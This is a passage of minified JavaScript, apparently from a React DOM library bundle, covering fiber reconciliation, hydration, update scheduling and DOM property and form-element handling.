n=e.getChildHostContext,o=e.getRootHostContext,r={current:zo},i={current:zo},a={current:zo};return{getHostContext:function(){return t(r.current)},getRootHostContainer:function(){return t(a.current)},popHostContainer:function(e){Gn(r,e);Gn(i,e);Gn(a,e)},popHostContext:function(e){i.current===e&&(Gn(r,e),Gn(i,e))},pushHostContainer:function(e,t){Vn(a,t,e);t=o(t);Vn(i,e,e);Vn(r,t,e)},pushHostContext:function(e){var o=t(a.current),s=t(r.current);s!==(o=n(s,e.type,o))&&(Vn(i,e,e),Vn(r,o,e))},resetHostContainer:function(){r.current=zo;a.current=zo}}}function Go(e){function t(e,t){var n=new oo(5,null,0);n.type="DELETED";n.stateNode=t;n.return=e;n.effectTag=8;null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function n(e,t){switch(e.tag){case 5:return null!==(t=i(t,e.type,e.pendingProps))&&(e.stateNode=t,!0);case 6:return null!==(t=a(t,e.pendingProps))&&(e.stateNode=t,!0);default:return!1}}function o(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag;)e=e.return;d=e}var r=e.shouldSetTextContent;if(!(e=e.hydration))return{enterHydrationState:function(){return!1},resetHydrationState:function(){},tryToClaimNextHydratableInstance:function(){},prepareToHydrateHostInstance:function(){p("175")},prepareToHydrateHostTextInstance:function(){p("176")},popHydrationState:function(){return!1}};var i=e.canHydrateInstance,a=e.canHydrateTextInstance,s=e.getNextHydratableSibling,l=e.getFirstHydratableChild,c=e.hydrateInstance,u=e.hydrateTextInstance,d=null,h=null,m=!1;return{enterHydrationState:function(e){h=l(e.stateNode.containerInfo);d=e;return m=!0},resetHydrationState:function(){h=d=null;m=!1},tryToClaimNextHydratableInstance:function(e){if(m){var o=h;if(o){if(!n(e,o)){if(!(o=s(o))||!n(e,o)){e.effectTag|=2;m=!1;d=e;return}t(d,h)}d=e;h=l(o)}else e.effectTag|=2,m=!1,d=e}},prepareToHydrateHostInstance:function(e,t,n){t=c(e.stateNode,e.type,e.memoizedProps,t,n,e);e.updateQueue=t;return null!==t},prepareToHydrateHostTextInstance:function(e){return u(e.stateNode,e.memoizedProps,e)},popHydrationState:function(e){if(e!==d)return!1;if(!m)return o(e),m=!0,!1;var n=e.type;if(5!==e.tag||"head"!==n&&"body"!==n&&!r(n,e.memoizedProps))for(n=h;n;)t(e,n),n=s(n);o(e);h=d?s(e.stateNode):null;return!0}}}function Vo(e){function t(e){ae=Y=!0;var t=e.stateNode;t.current===e&&p("177");t.isReadyForCommit=!1;jt.current=null;if(1<e.effectTag)if(null!==e.lastEffect){e.lastEffect.nextEffect=e;var n=e.firstEffect}else n=e;else n=e.firstEffect;V();for(ee=n;null!==ee;){var o=!1,r=void 0;try{for(;null!==ee;){var i=ee.effectTag;16&i&&M(ee);if(128&i){var a=ee.alternate;null!==a&&W(a)}switch(-242&i){case 2:A(ee);ee.effectTag&=-3;break;case 6:A(ee);ee.effectTag&=-3;N(ee.alternate,ee);break;case 4:N(ee.alternate,ee);break;case 8:se=!0,B(ee),se=!1}ee=ee.nextEffect}}catch(e){o=!0,r=e}o&&(null===ee&&p("178"),s(ee,r),null!==ee&&(ee=ee.nextEffect))}K();t.current=e;for(ee=n;null!==ee;){n=!1;o=void 0;try{for(;null!==ee;){var l=ee.effectTag;36&l&&F(ee.alternate,ee);128&l&&H(ee);if(64&l)switch(r=ee,i=void 0,null!==te&&(i=te.get(r),te.delete(r),null==i&&null!==r.alternate&&(r=r.alternate,i=te.get(r),te.delete(r))),null==i&&p("184"),r.tag){case 2:r.stateNode.componentDidCatch(i.error,{componentStack:i.componentStack});break;case 3:null===re&&(re=i.error);break;default:p("157")}var c=ee.nextEffect;ee.nextEffect=null;ee=c}}catch(e){n=!0,o=e}n&&(null===ee&&p("178"),s(ee,o),null!==ee&&(ee=ee.nextEffect))}Y=ae=!1;"function"==typeof fo&&fo(e.stateNode);oe&&(oe.forEach(f),oe=null);null!==re&&(e=re,re=null,T(e));0===(t=t.current.expirationTime)&&(ne=te=null);return t}function n(e){for(;;){var t=P(e.alternate,e,Q),n=e.return,o=e.sibling,r=e;if(2147483647===Q||2147483647!==r.expirationTime){if(2!==r.tag&&3!==r.tag)var i=0;else i=null===(i=r.updateQueue)?0:i.expirationTime;for(var a=r.child;null!==a;)0!==a.expirationTime&&(0===i||i>a.expirationTime)&&(i=a.expirationTime),a=a.sibling;r.expirationTime=i}if(null!==t)return t;null!==n&&(null===n.firstEffect&&(n.firstEffect=e.firstEffect),null!==e.lastEffect&&(null!==n.lastEffect&&(n.lastEffect.nextEffect=e.firstEffect),n.lastEffect=e.lastEffect),1<e.effectTag&&(null!==n.lastEffect?n.lastEffect.nextEffect=e:n.firstEffect=e,n.lastEffect=e));if(null!==o)return o;if(null===n){e.stateNode.isReadyForCommit=!0;break}e=n}return null}function o(e){var t=D(e.alternate,e,Q);null===t&&(t=n(e));jt.current=null;return t}function r(e){var t=R(e.alternate,e,Q);null===t&&(t=n(e));jt.current=null;return t}function i(e){if(null!==te){if(!(0===Q||Q>e))if(Q<=X)for(;null!==$;)$=l($)?r($):o($);else for(;null!==$&&!S();)$=l($)?r($):o($)}else if(!(0===Q||Q>e))if(Q<=X)for(;null!==$;)$=o($);else for(;null!==$&&!S();)$=o($)}function a(e,t){Y&&p("243");Y=!0;e.isReadyForCommit=!1;if(e!==Z||t!==Q||null===$){for(;-1<jn;)zn[jn]=null,jn--;Xn=h;Kn.current=h;qn.current=!1;O();Q=t;$=ro((Z=e).current,null,t)}var n=!1,o=null;try{i(t)}catch(e){n=!0,o=e}for(;n;){if(ie){re=o;break}var a=$;if(null===a)ie=!0;else{var l=s(a,o);null===l&&p("183");if(!ie){try{o=t;for(l=n=l;null!==a;){switch(a.tag){case 2:Zn(a);break;case 5:I(a);break;case 3:x(a);break;case 4:x(a)}if(a===l||a.alternate===l)break;a=a.return}$=r(n);i(o)}catch(e){n=!0;o=e;continue}break}}}t=re;ie=Y=!1;re=null;null!==t&&T(t);return e.isReadyForCommit?e.current.alternate:null}function s(e,t){var n=jt.current=null,o=!1,r=!1,i=null;if(3===e.tag)n=e,c(e)&&(ie=!0);else for(var a=e.return;null!==a&&null===n;){2===a.tag?"function"==typeof a.stateNode.componentDidCatch&&(o=!0,i=Gt(a),n=a,r=!0):3===a.tag&&(n=a);if(c(a)){if(se||null!==oe&&(oe.has(a)||null!==a.alternate&&oe.has(a.alternate)))return null;n=null;r=!1}a=a.return}if(null!==n){null===ne&&(ne=new Set);ne.add(n);var s="";a=e;do{e:switch(a.tag){case 0:case 1:case 2:case 5:var l=a._debugOwner,u=a._debugSource,d=Gt(a),h=null;l&&(h=Gt(l));l=u;d="\n    in "+(d||"Unknown")+(l?" (at "+l.fileName.replace(/^.*[\\\/]/,"")+":"+l.lineNumber+")":h?" (created by "+h+")":"");break e;default:d=""}s+=d;a=a.return}while(a);a=s;e=Gt(e);null===te&&(te=new Map);t={componentName:e,componentStack:a,error:t,errorBoundary:o?n.stateNode:null,errorBoundaryFound:o,errorBoundaryName:i,willRetry:r};te.set(n,t);try{var p=t.error;p&&p.suppressReactErrorLogging||console.error(p)}catch(e){e&&e.suppressReactErrorLogging||console.error(e)}ae?(null===oe&&(oe=new Set),oe.add(n)):f(n);return n}null===re&&(re=t);return null}function l(e){return null!==te&&(te.has(e)||null!==e.alternate&&te.has(e.alternate))}function c(e){return null!==ne&&(ne.has(e)||null!==e.alternate&&ne.has(e.alternate))}function u(){return 20*(1+((_()+100)/20|0))}function d(e){return 0!==J?J:Y?ae?1:Q:!G||1&e.internalContextTag?u():1}function m(e,t){return g(e,t,!1)}function g(e,t){for(;null!==e;){(0===e.expirationTime||e.expirationTime>t)&&(e.expirationTime=t);null!==e.alternate&&(0===e.alternate.expirationTime||e.alternate.expirationTime>t)&&(e.alternate.expirationTime=t);if(null===e.return){if(3!==e.tag)break;var n=e.stateNode;!Y&&n===Z&&t<Q&&($=Z=null,Q=0);var o=n,r=t;Ee>ye&&p("185");if(null===o.nextScheduledRoot)o.remainingExpirationTime=r,null===ce?(le=ce=o,o.nextScheduledRoot=o):(ce=ce.nextScheduledRoot=o).nextScheduledRoot=le;else{var i=o.remainingExpirationTime;(0===i||r<i)&&(o.remainingExpirationTime=r)}he||(be?Ce&&E(pe=o,me=1):1===r?y(1,null):v(r));!Y&&n===Z&&t<Q&&($=Z=null,Q=0)}e=e.return}}function f(e){g(e,1,!0)}function _(){return X=2+((U()-q)/10|0)}function v(e){if(0!==ue){if(e>ue)return;j(de)}var t=U()-q;ue=e;de=z(C,{timeout:10*(e-2)-t})}function b(){var e=0,t=null;if(null!==ce)for(var n=ce,o=le;null!==o;){var r=o.remainingExpirationTime;if(0===r){(null===n||null===ce)&&p("244");if(o===o.nextScheduledRoot){le=ce=o.nextScheduledRoot=null;break}if(o===le)le=r=o.nextScheduledRoot,ce.nextScheduledRoot=r,o.nextScheduledRoot=null;else{if(o===ce){(ce=n).nextScheduledRoot=le;o.nextScheduledRoot=null;break}n.nextScheduledRoot=o.nextScheduledRoot,o.nextScheduledRoot=null}o=n.nextScheduledRoot}else{(0===e||r<e)&&(e=r,t=o);if(o===ce)break;n=o;o=o.nextScheduledRoot}}null!==(n=pe)&&n===t?Ee++:Ee=0;pe=t;me=e}function C(e){y(0,e)}function y(e,t){ve=t;for(b();null!==pe&&0!==me&&(0===e||me<=e)&&!ge;)E(pe,me),b();null!==ve&&(ue=0,de=-1);0!==me&&v(me);ve=null;ge=!1;Ee=0;if(fe)throw e=_e,_e=null,fe=!1,e}function E(e,n){he&&p("245");he=!0;if(n<=_()){var o=e.finishedWork;null!==o?(e.finishedWork=null,e.remainingExpirationTime=t(o)):(e.finishedWork=null,null!==(o=a(e,n))&&(e.remainingExpirationTime=t(o)))}else null!==(o=e.finishedWork)?(e.finishedWork=null,e.remainingExpirationTime=t(o)):(e.finishedWork=null,null!==(o=a(e,n))&&(S()?e.finishedWork=o:e.remainingExpirationTime=t(o)));he=!1}function S(){return!(null===ve||ve.timeRemaining()>Se)&&(ge=!0)}function T(e){null===pe&&p("246");pe.remainingExpirationTime=0;fe||(fe=!0,_e=e)}var w=jo(e),k=Go(e),x=w.popHostContainer,I=w.popHostContext,O=w.resetHostContainer,L=Ho(e,w,k,m,d),D=L.beginWork,R=L.beginFailedWork,P=Wo(e,w,k).completeWork,M=(w=Uo(e,s)).commitResetTextContent,A=w.commitPlacement,B=w.commitDeletion,N=w.commitWork,F=w.commitLifeCycles,H=w.commitAttachRef,W=w.commitDetachRef,U=e.now,z=e.scheduleDeferredCallback,j=e.cancelDeferredCallback,G=e.useSyncScheduling,V=e.prepareForCommit,K=e.resetAfterCommit,q=U(),X=2,J=0,Y=!1,$=null,Z=null,Q=0,ee=null,te=null,ne=null,oe=null,re=null,ie=!1,ae=!1,se=!1,le=null,ce=null,ue=0,de=-1,he=!1,pe=null,me=0,ge=!1,fe=!1,_e=null,ve=null,be=!1,Ce=!1,ye=1e3,Ee=0,Se=1;return{computeAsyncExpiration:u,computeExpirationForFiber:d,scheduleWork:m,batchedUpdates:function(e,t){var n=be;be=!0;try{return e(t)}finally{(be=n)||he||y(1,null)}},unbatchedUpdates:function(e){if(be&&!Ce){Ce=!0;try{return e()}finally{Ce=!1}}return e()},flushSync:function(e){var t=be;be=!0;try{e:{var n=J;J=1;try{var o=e();break e}finally{J=n}o=void 0}return o}finally{be=t,he&&p("187"),y(1,null)}},deferredUpdates:function(e){var t=J;J=u();try{return e()}finally{J=t}}}}function Ko(e){function t(e){return null===(e=Jt(e))?null:e.stateNode}var n=e.getPublicInstance,o=(e=Vo(e)).computeAsyncExpiration,r=e.computeExpirationForFiber,a=e.scheduleWork;return{createContainer:function(e,t){var n=new oo(3,null,0);e={current:n,containerInfo:e,pendingChildren:null,remainingExpirationTime:0,isReadyForCommit:!1,finishedWork:null,context:null,pendingContext:null,hydrate:t,nextScheduledRoot:null};return n.stateNode=e},updateContainer:function(e,t,n,i){var s=t.current;if(n){n=n._reactInternalFiber;var l;e:{2===Vt(n)&&2===n.tag||p("170");for(l=n;3!==l.tag;){if($n(l)){l=l.stateNode.__reactInternalMemoizedMergedChildContext;break e}(l=l.return)||p("171")}l=l.stateNode.context}n=$n(n)?eo(n,l):l}else n=h;null===t.context?t.context=n:t.pendingContext=n;t=void 0===(t=i)?null:t;Co(s,{expirationTime:i=null!=e&&null!=e.type&&null!=e.type.prototype&&!0===e.type.prototype.unstable_isAsyncReactComponent?o():r(s),partialState:{element:e},callback:t,isReplace:!1,isForced:!1,nextCallback:null,next:null});a(s,i)},batchedUpdates:e.batchedUpdates,unbatchedUpdates:e.unbatchedUpdates,deferredUpdates:e.deferredUpdates,flushSync:e.flushSync,getPublicRootInstance:function(e){if(!(e=e.current).child)return null;switch(e.child.tag){case 5:return n(e.child.stateNode);default:return e.child.stateNode}},findHostInstance:t,findHostInstanceWithNoPortals:function(e){return null===(e=Yt(e))?null:e.stateNode},injectIntoDevTools:function(e){var n=e.findFiberByHostInstance;return go(i({},e,{findHostInstanceByFiber:function(e){return t(e)},findFiberByHostInstance:function(e){return n?n(e):null}}))}}}var qo=Object.freeze({default:Ko}),Xo=qo&&Ko||qo,Jo=Xo.default?Xo.default:Xo;function Yo(e,t,n){var o=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:Oo,key:null==o?null:""+o,children:e,containerInfo:t,implementation:n}}var $o="object"==typeof performance&&"function"==typeof performance.now,Zo=void 0;Zo=$o?function(){return performance.now()}:function(){return Date.now()};var Qo=void 0,er=void 0;if(r.canUseDOM)if("function"!=typeof requestIdleCallback||"function"!=typeof cancelIdleCallback){var tr,nr=null,or=!1,rr=-1,ir=!1,ar=0,sr=33,lr=33;tr=$o?{didTimeout:!1,timeRemaining:function(){var e=ar-performance.now();return 0<e?e:0}}:{didTimeout:!1,timeRemaining:function(){var e=ar-Date.now();return 0<e?e:0}};var cr="__reactIdleCallback$"+Math.random().toString(36).slice(2);window.addEventListener("message",function(e){if(e.source===window&&e.data===cr){or=!1;e=Zo();if(0>=ar-e){if(!(-1!==rr&&rr<=e)){ir||(ir=!0,requestAnimationFrame(ur));return}tr.didTimeout=!0}else tr.didTimeout=!1;rr=-1;e=nr;nr=null;null!==e&&e(tr)}},!1);var ur=function(e){ir=!1;var t=e-ar+lr;t<lr&&sr<lr?(8>t&&(t=8),lr=t<sr?sr:t):sr=t;ar=e+lr;or||(or=!0,window.postMessage(cr,"*"))};Qo=function(e,t){nr=e;null!=t&&"number"==typeof t.timeout&&(rr=Zo()+t.timeout);ir||(ir=!0,requestAnimationFrame(ur));return 0};er=function(){nr=null;or=!1;rr=-1}}else Qo=window.requestIdleCallback,er=window.cancelIdleCallback;else Qo=function(e){return setTimeout(function(){e({timeRemaining:function(){return 1/0}})})},er=function(e){clearTimeout(e)};var dr=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,hr={},pr={};function mr(e){if(pr.hasOwnProperty(e))return!0;if(hr.hasOwnProperty(e))return!1;if(dr.test(e))return pr[e]=!0;hr[e]=!0;return!1}function gr(e,t,n){var o=b(t);if(o&&v(t,n)){var r=o.mutationMethod;r?r(e,n):null==n||o.hasBooleanValue&&!n||o.hasNumericValue&&isNaN(n)||o.hasPositiveNumericValue&&1>n||o.hasOverloadedBooleanValue&&!1===n?_r(e,t):o.mustUseProperty?e[o.propertyName]=n:(t=o.attributeName,(r=o.attributeNamespace)?e.setAttributeNS(r,t,""+n):o.hasBooleanValue||o.hasOverloadedBooleanValue&&!0===n?e.setAttribute(t,""):e.setAttribute(t,""+n))}else fr(e,t,v(t,n)?n:null)}function fr(e,t,n){mr(t)&&(null==n?e.removeAttribute(t):e.setAttribute(t,""+n))}function _r(e,t){var n=b(t);n?(t=n.mutationMethod)?t(e,void 0):n.mustUseProperty?e[n.propertyName]=!n.hasBooleanValue&&"":e.removeAttribute(n.attributeName):e.removeAttribute(t)}function vr(e,t){var n=t.value,o=t.checked;return i({type:void 0,step:void 0,min:void 0,max:void 0},t,{defaultChecked:void 0,defaultValue:void 0,value:null!=n?n:e._wrapperState.initialValue,checked:null!=o?o:e._wrapperState.initialChecked})}function br(e,t){var n=t.defaultValue;e._wrapperState={initialChecked:null!=t.checked?t.checked:t.defaultChecked,initialValue:null!=t.value?t.value:n,controlled:"checkbox"===t.type||"radio"===t.type?null!=t.checked:null!=t.value}}function Cr(e,t){null!=(t=t.checked)&&gr(e,"checked",t)}function yr(e,t){Cr(e,t);var n=t.value;null!=n?0===n&&""===e.value?e.value="0":"number"===t.type?(n!=(t=parseFloat(e.value)||0)||n==t&&e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n):(null==t.value&&null!=t.defaultValue&&e.defaultValue!==""+t.defaultValue&&(e.defaultValue=""+t.defaultValue),null==t.checked&&null!=t.defaultChecked&&(e.defaultChecked=!!t.defaultChecked))}function Er(e,t){switch(t.type){case"submit":case"reset":break;case"color":case"date":case"datetime":case"datetime-local":case"month":case"time":case"week":e.value="";e.value=e.defaultValue;break;default:e.value=e.value}""!==(t=e.name)&&(e.name="");e.defaultChecked=!e.defaultChecked;e.defaultChecked=!e.defaultChecked;""!==t&&(e.name=t)}function Sr(e){var t="";o.Children.forEach(e,function(e){null==e||"string"!=typeof e&&"number"!=typeof e||(t+=e)});return t}function Tr(e,t){e=i({children:void 0},t);(t=Sr(t.children))&&(e.children=t);return e}function wr(e,t,n,o){e=e.options;if(t){t={};for(var r=0;r<n.length;r++)t["$"+n[r]]=!0;for(n=0;n<e.length;n++)r=t.hasOwnProperty("$"+e[n].value),e[n].selected!==r&&(e[n].selected=r),r&&o&&(e[n].defaultSelected=!0)}else{n=""+n;t=null;for(r=0;r<e.length;r++){if(e[r].value===n){e[r].selected=!0;o&&(e[r].defaultSelected=!0);return}null!==t||e[r].disabled||(t=e[r])}null!==t&&(t.selected=!0)}}function kr(e,t){var n=t.value;e._wrapperState={initialValue:null!=n?n:t.defaultValue,wasMultiple:!!t.multiple}}function xr(e,t){null!=t.dangerouslySetInnerHTML&&p("91");return i({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function Ir(e,t){var n=t.value;null==n&&(n=t.defaultValue,null!=(t=t.children)&&(null!=n&&p("92"),Array.isArray(t)&&(1>=t.length||p("93"),t=t[0]),n=""+t),null==n&&(n=""));e._wrapperState={initialValue:""+n}}function Or(e,t){var n=t.value;null!=n&&((n=""+n)!==e.value&&(e.value=n),null==t.defaultValue&&(e.defaultValue=n));null!=t.defaultValue&&(e.defaultValue=t.defaultValue)}function Lr(e){var t=e.textContent;t===e._wrapperState.initialValue&&(e.value=t)}var Dr={html:"http://www.w3.org/1999/xhtml",mathml:"http://www.w3.org/1998/Math/MathML",svg:"http://www.w3.org/2000/svg"};function Rr(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Pr(e,t){return null==e||"http://www.w3.org/1999/xhtml"===e?Rr(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var Mr,Ar=void 0,Br=(Mr=function(e,t){if(e.namespaceURI!==Dr.svg||"innerHTML"in e)e.innerHTML=t;else{(Ar=Ar||document.createElement("div")).innerHTML="<svg>"+t+"</svg>";for(t=Ar.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}},"undefined"!=typeof MSApp&&MSApp.execUnsafeLocalFunction?function(e,t,n,o){MSApp.execUnsafeLocalFunction(function(){return Mr(e,t,n,o)})}:Mr);function Nr(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType){n.nodeValue=t;return}}e.textContent=t}var Fr={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Hr=["Webkit","ms","Moz","O"];Object.keys(Fr).forEach(function(e){Hr.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1);Fr[t]=Fr[e]})});function Wr(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var o=0===n.indexOf("--"),r=n,i=t[n];r=null==i||"boolean"==typeof i||""===i?"":o||"number"!=typeof i||0===i||Fr.hasOwnProperty(r)&&Fr[r]?(""+i).trim():i+"px";"float"===n&&(n="cssFloat");o?e.setProperty(n,r):e[n]=r}}var Ur=i({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function zr(e,t,n){t&&(Ur[e]&&(null!=t.children||null!=t.dangerouslySetInnerHTML)&&p("137",e,n()),null!=t.dangerouslySetInnerHTML&&(null!=t.children&&p("60"),"object"==typeof t.dangerouslySetInnerHTML&&"__html"in t.dangerouslySetInnerHTML||p("61")),null!=t.style&&"object"!=typeof t.style&&p("62",n()))}function jr(e,t){if(-1===e.indexOf("-"))return"string"==typeof t.is;switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Gr=Dr.html,Vr=a.thatReturns("");function Kr(e,t){var n=fn(e=9===e.nodeType||11===e.nodeType?e:e.ownerDocument);t=j[t];for(var o=0;o<t.length;o++){var r=t[o];n.hasOwnProperty(r)&&n[r]||("topScroll"===r?on("topScroll","scroll",e):"topFocus"===r||"topBlur"===r?(on("topFocus","focus",e),on("topBlur","blur",e),n.topBlur=!0,n.topFocus=!0):"topCancel"===r?(ft("cancel",!0)&&on("topCancel","cancel",e),n.topCancel=!0):"topClose"===r?(ft("close",!0)&&on("topClose","close",e),n.topClose=!0):hn.hasOwnProperty(r)&&nn(r,hn[r],e),n[r]=!0)}}var qr={topAbort:"abort",topCanPlay:"canplay",topCanPlayThrough:"canplaythrough",topDurationChange:"durationchange",topEmptied:"emptied",topEncrypted:"encrypted",topEnded:"ended",topError:"error",topLoadedData:"loadeddata",topLoadedMetadata:"loadedmetadata",topLoadStart:"loadstart",topPause:"pause",topPlay:"play",topPlaying:"playing",topProgress:"progress",topRateChange:"ratechange",topSeeked:"seeked",topSeeking:"seeking",topStalled:"stalled",topSuspend:"suspend",topTimeUpdate:"timeupdate",topVolumeChange:"volumechange",topWaiting:"waiting"};function Xr(e,t,n,o){n=9===n.nodeType?n:n.ownerDocument;o===Gr&&(o=Rr(e));o===Gr?"script"===e?((e=n.createElement("div")).innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):e="string"==typeof t.is?n.createElement(e,{is:t.is}):n.createElement(e):e=n.createElementNS(o,e);return e}function Jr(e,t){return(9===t.nodeType?t:t.ownerDocument).createTextNode(e)}function Yr(e,t,n,o){var r=jr(t,n);switch(t){case"iframe":case"object":nn("topLoad","load",e);var s=n;break;case"video":case"audio":for(s in qr)qr.hasOwnProperty(s)&&nn(s,qr[s],e);s=n;break;case"source":nn("topError","error",e);s=n;break;case"img":case"image":nn("topError","error",e);nn("topLoad","load",e);s=n;break;case"form":nn("topReset","reset",e);nn("topSubmit","submit",e);s=n;break;case"details":nn("topToggle","toggle",e);s=n;break;case"input":br(e,n);s=vr(e,n);nn("topInvalid","invalid",e);Kr(o,"onChange");break;case"option":s=Tr(e,n);break;case"select":kr(e,n);s=i({},n,{value:void 0});nn("topInvalid","invalid",e);Kr(o,"onChange");break;case"textarea":Ir(e,n);s=xr(e,n);nn("topInvalid","invalid",e);Kr(o,"onChange");break;default:s=n}zr(t,s,Vr);var l,c=s;for(l in c)if(c.hasOwnProperty(l)){var u=c[l];"style"===l?Wr(e,u,Vr):"dangerouslySetInnerHTML"===l?null!=(u=u?u.__html:void 0)&&Br(e,u):"children"===l?"string"==typeof u?("textarea"!==t||""!==u)&&Nr(e,u):"number"==typeof u&&Nr(e,""+u):"suppressContentEditableWarning"!==l&&"suppressHydrationWarning"!==l&&"autoFocus"!==l&&(z.hasOwnProperty(l)?null!=u&&Kr(o,l):r?fr(e,l,u):null!=u&&gr(e,l,u))}switch(t){case"input":bt(e);Er(e,n);break;case"textarea":bt(e);Lr(e,n);break;case"option":null!=n.value&&e.setAttribute("value",n.value);break;case"select":e.multiple=!!n.multiple;null!=(t=n.value)?wr(e,!!n.multiple,t,!1):null!=n.defaultValue&&wr(e,!!n.multiple,n.defaultValue,!0);break;default:"function"==typeof s.onClick&&(e.onclick=a)}}function $r(e,t,n,o,r){var s,l,c=null;switch(t){case"input":n=vr(e,n);o=vr(e,o);c=[];break;case"option":n=Tr(e,n);o=Tr(e,o);c=[];break;case"select":n=i({},n,{value:void 0});o=i({},o,{value:void 0});c=[];break;case"textarea":n=xr(e,n);o=xr(e,o);c=[];break;default:"function"!=typeof n.onClick&&"function"==typeof o.onClick&&(e.onclick=a)}zr(t,o,Vr);e=null;for(s in n)if(!o.hasOwnProperty(s)&&n.hasOwnProperty(s)&&null!=n[s])if("style"===s)for(l in t=n[s])t.hasOwnProperty(l)&&(e||(e={}),e[l]="");else"dangerouslySetInnerHTML"!==s&&"children"!==s&&"suppressContentEditableWarning"!==s&&"suppressHydrationWarning"!==s&&"autoFocus"!==s&&(z.hasOwnProperty(s)?c||(c=[]):(c=c||[]).push(s,null));for(s in o){var u=o[s];t=null!=n?n[s]:void 0;if(o.hasOwnProperty(s)&&u!==t&&(null!=u||null!=t))if("style"===s)if(t){for(l in t)!t.hasOwnProperty(l)||u&&u.hasOwnProperty(l)||(e||(e={}),e[l]="");for(l in u)u.hasOwnProperty(l)&&t[l]!==u[l]&&(e||(e={}),e[l]=u[l])}else e||(c||(c=[]),c.push(s,e)),e=u;else"dangerouslySetInnerHTML"===s?(u=u?u.__html:void 0,t=t?t.__html:void 0,null!=u&&t!==u&&(c=c||[]).push(s,""+u)):"children"===s?t===u||"string"!=typeof u&&"number"!=typeof u||(c=c||[]).push(s,""+u):"suppressContentEditableWarning"!==s&&"suppressHydrationWarning"!==s&&(z.hasOwnProperty(s)?(null!=u&&Kr(r,s),c||t===u||(c=[])):(c=c||[]).push(s,u))}e&&(c=c||[]).push("style",e);return c}function Zr(e,t,n,o,r){"input"===n&&"radio"===r.type&&null!=r.name&&Cr(e,r);jr(n,o);o=jr(n,r);for(var i=0;i<t.length;i+=2){var a=t[i],s=t[i+1];"style"===a?Wr(e,s,Vr):"dangerouslySetInnerHTML"===a?Br(e,s):"children"===a?Nr(e,s):o?null!=s?fr(e,a,s):e.removeAttribute(a):null!=s?gr(e,a,s):_r(e,a)}switch(n){case"input":yr(e,r);break;case"textarea":Or(e,r);break;case"select":e._wrapperState.initialValue=void 0,t=e._wrapperState.wasMultiple,e._wrapperState.wasMultiple=!!r.multiple,null!=(n=r.value)?wr(e,!!r.multiple,n,!1):t!==!!r.multiple&&(null!=r.defaultValue?wr(e,!!r.multiple,r.defaultValue,!0):wr(e,!!r.multiple,r.multiple?[]:"",!1))}}function Qr(e,t,n,o,r){switch(t){case"iframe":case"object":nn("topLoad","load",e);break;case"video":case"audio":for(var i in qr)qr.hasOwnProperty(i)&&nn(i,qr[i],e);break;case"source":nn("topError","error",e);break;case"img":case"image":nn("topError","error",e);nn("topLoad","load",e);break;case"form":nn("topReset","reset",e);nn("topSubmit","submit",e);break;case"details":nn("topToggle","toggle",e);break;case"input":br(e,n);nn("topInvalid","invalid",e);Kr(r,"onChange");break;case"select":kr(e,n);nn("topInvalid","invalid",e);Kr(r,"onChange");break;case"textarea":Ir(e,n),nn("topInvalid","invalid",e),Kr(r,"onChange")}zr(t,n,Vr);o=null;for(var s in n)n.hasOwnProperty(s)&&(i=n[s],"children"===s?"string"==typeof i?e.textContent!==i&&(o=["children",i]):"number"==typeof i&&e.textContent!==""+i&&(o=["children",""+i]):z.hasOwnProperty(s)&&null!=i&&Kr(r,s));switch(t){case"input":bt(e);Er(e,n);break;case"textarea":bt(e);Lr(e,n);break;case"select":case"option":break;default:"function"==typeof n.onClick&&(e.onclick=a)}return o}function ei(e,t){return e.nodeValue!==t}var 